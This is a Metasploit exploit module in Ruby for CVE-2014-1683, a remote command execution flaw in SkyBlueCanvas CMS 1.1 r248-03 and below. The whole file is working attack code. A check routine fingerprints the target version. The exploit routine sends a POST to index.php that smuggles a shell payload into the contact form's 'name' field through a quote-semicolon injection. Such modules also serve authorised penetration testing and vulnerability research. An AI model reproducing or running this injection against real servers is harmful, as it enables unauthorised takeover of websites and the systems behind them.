|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super (update_info(info,
'Name' => 'SkyBlueCanvas CMS Remote Code Execution' ,
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in SkyBlueCanvas CMS version 1 . 1 r248- 03 and below.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Scott Parish' ,
'xistence <xistence[at]0x90.nl>'
],
'References' =>
[
[ 'CVE' , '2014-1683' ],
[ 'OSVDB' , '102586' ],
[ 'BID' , '65129' ],
[ 'EDB' , '31183' ],
],
'Privileged' => false ,
'Payload' =>
{
'Space' => 262144 ,
'DisableNops' => true ,
'Compat' =>
{
'ConnectionType' => 'find' ,
'PayloadType' => 'cmd' ,
'RequiredCmd' => 'generic perl ruby bash telnet python'
}
},
'Platform' => %w{ unix },
'Targets' =>
[
[ 'SkyBlueCanvas 1.1 r248' , {}]
],
'Arch' => ARCH_CMD ,
'DisclosureDate' => 'Jan 28 2014' ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'TARGETURI' ,[ true , "The path to the SkyBlueCanvas CMS installation" , "/" ]),
], self . class )
end
def check
uri = normalize_uri(target_uri.path.to_s, "index.php" )
res = send_request_raw( 'uri' => uri)
if res and res.body =~ /[ 1 . 1 r248]/
vprint_good( "#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found" )
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path.to_s, "index.php" )
send_request_cgi({
'method' => 'POST' ,
'uri' => uri,
'vars_get' => { 'pid' => '4' },
'vars_post' =>
{
'cid' => '3' ,
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};" ,
'email' => rand_text_alphanumeric( 10 ),
'subject' => rand_text_alphanumeric( 10 ),
'message' => rand_text_alphanumeric( 10 ),
'action' => 'Send'
}
})
end
end
|